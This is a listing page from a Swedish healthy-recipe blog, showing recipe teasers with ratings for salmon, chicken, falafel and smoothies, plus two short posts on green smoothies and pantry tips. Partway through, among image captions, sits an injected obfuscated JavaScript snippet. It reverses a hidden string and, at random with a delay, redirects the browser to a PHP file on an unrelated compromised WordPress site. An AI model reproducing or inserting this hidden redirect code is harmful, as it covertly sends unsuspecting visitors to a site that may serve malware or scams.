All Recipes and Posts Tagged Healthy

_SAM0671

Gröna smoothies, mer än bara en grön drink.

By: | 0 Comments | On: September 8, 2013 | Category : Jonas Andersson, Skribenter, Uncategorized

SAMSUNG CSC

  Om du bara ska göra en enda hälsoförändring i ditt liv så rekommenderar jag att du ska börja dricka 1-2 gröna smoothies om dagen. En grön smoothie är gjord på olika sorters frukter, bär och grönsaker som med vatten sedan körs i mixer till en slät och len konsistens. Själv...

Read more
_SAM0279

Kycklinglever stekt i svartvitlök

Genomsnittligt betyg: (4.7 / 5)

Kycklinglever med smak av vitlök

Läs mer
_SAM0261

Svartvitlöks masserad Black Angus (entrecote)

Genomsnittligt betyg: (4.5 / 5)

En härlig kötträtt med smak av vitlök

Läs mer

Bra att ha hemma i förrådet och saker att tänka på

By: | 0 Comments | On: September 7, 2013 | Category : Jonas Andersson, Skribenter

Photo_CD_15

Tänkte dela med mig lite av mina tankar, funderingar och andra bra tips hur man lättast håller sig till en sund kost och inte dras till den mörka sidan.Jag älskar att improvisera i köket men jag vet att dom flesta vet inte vad dom ska laga till sitt nästa mål...

Read more
_SAM0095

Kyckling med avokado, linsgrodd och spenatsallad.

Genomsnittligt betyg: (3 / 5)

100-200g kycklingbröst  50g hyvlad morot 50g skivor av broccolistammen 40g 3st skivad sparris 30g spenat 50g linsgroddar 40g tärnad avokado ...

Läs mer
_SAM0172

Lax med teriyakimarinerade linsgroddar

Genomsnittligt betyg: (3.7 / 5)

Lax med teriyakimarinerade linsgroddar och kålsallad

Läs mer
image

Köttbullar med grönsaker och gräddsås

Genomsnittligt betyg: (5 / 5)

Enkelt och gott recept på köttbullar av nötfärs.

Läs mer
_SAM0134
falafel1

Falafel

Genomsnittligt betyg: (5 / 5)

En snabblagad rätt som passar perfekt efter träning då den är både proteinrik och fylld med långsamma kolhydrater.

Läs mer
sallad1

Sallad med melon och fetaost

Genomsnittligt betyg: (4 / 5)

Sommarfräsch sallad som passar utmärkt som både lunch och middag

Läs mer
lax2

Laxceviche

Genomsnittligt betyg: (5 / 5)

En lätt, fräsch och proteinrik rätt som passar perfekt i sommarsolen

Läs mer
protein pannkakor

Fluffiga vanilj proteinpannkakor

Genomsnittligt betyg: (2.7 / 5)

Dessa pannkakor är både ljuvliga, riktigt smarriga och lätta att laga. De passar perfekt som frukost, mellanmål eller som vanlig ...

Läs mer
burgare

Kycklingburgare

Genomsnittligt betyg: (4 / 5)

Ett nyttigt alternativ till den traditionella hamburgaren! 500 gram Kycklingfärs 50 gram Soltorkade tomater 75 gram Fetaost 8 stora Portobellosvampar ...

Läs mer
image

Korvstroganoff med kycklingkorv & råris

Genomsnittligt betyg: (3.8 / 5)

Korvstroganoff med Kycklingkorv

Läs mer
image

Tacokyckling

Genomsnittligt betyg: (4.2 / 5)

God Kycklingrätt för dig som gillar tacos

Läs mer
image

Smörstekt torsk med grönsaker och kesoröra

Genomsnittligt betyg: (4.3 / 5)

Enkelt & gott recept med torsk, grönsaker och keso

Läs mer
pizza

Blomkålspizza

Genomsnittligt betyg: (4.7 / 5)

En nyttig och snabblagad pizza med blomkålsbotten

Läs mer
image

Sommarsallad med lax & räkor

Genomsnittligt betyg: (5 / 5)

Lyxig lax & räksallad

Läs mer
image

Äggmuffins med Avokado

Genomsnittligt betyg: (5 / 5)

En roligare variant på omeletten

Läs mer
image

Kycklingbullar & Smörstekta Grönsaker

Genomsnittligt betyg: (5 / 5)

Enkelt och gott recept för dig som vill byta ut den vanliga köttfärsen.

Läs mer
fisk

Fiskpaket i ugn

Genomsnittligt betyg: (4 / 5)

Enkel och god fiskrätt

Läs mer
image

Kycklingpaj

Genomsnittligt betyg: (4 / 5)

Detta är en enkel och nyttig kycklingpaj som går snabbt att slänga ihop. En perfekt måltid efter träning! Pajskal: 1/2 ...

Läs mer
IMG_5126

Stekt lax med bulgursallad

Genomsnittligt betyg: (4.6 / 5)

Laxfilé  80g kokt fullkornsbulgur 30g avokado 1/2-1 persika 25g lättyoghurt 25g kvarg 1/4 tsk honung Lime, efter smak Salt, efter ...

Läs mer
image

Sesamkyckling

Genomsnittligt betyg: (4.1 / 5)

Ett roligare recept för dig som gillar kyckling men vill ha lite ny inspiration

Läs mer
image
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}elbollar" href="http://deffrecept.se/wp-content/uploads/2013/06/image8.jpg"> image
image
image
image
image
image
bild2
image
image
image
image
image
image
image

Blåbärsgröt

Genomsnittligt betyg: (4 / 5)

Uppiggande morgongröt

Läs mer
image
image
image

Tortillapizza

Genomsnittligt betyg: (3.7 / 5)

En god och nyttig pizza på ett nytt sätt

Läs mer
image

Grekiska biffar med stekta grönsaker

Genomsnittligt betyg: (4.1 / 5)

Grekiska biffar med stekta grönsaker

Läs mer
image

Banan & Kokospannkakor

Genomsnittligt betyg: (5 / 5)

• 1 mogen Banan • 2 msk Kokosmjöl • 2 Ägg • 1 msk mjölk • 50 g Kvarg • ...

Läs mer
image

Rosa Kokosbollar

Genomsnittligt betyg: (5 / 5)

• 3 dl Riven Kokos • 1 Skopa Proteinpulver, Jordgubb el liknande (Jordgubb/Vit choklad Fitnessguru) • 2 msk Kokosolja • ...

Läs mer
image

Detoxsmoothie

Genomsnittligt betyg: (4.5 / 5)

• 1 Äpple • 1 Kiwi • 1 cm Ingefära • 1 msk Linfrön • 1 näve färsk/fryst Granatäpple • ...

Läs mer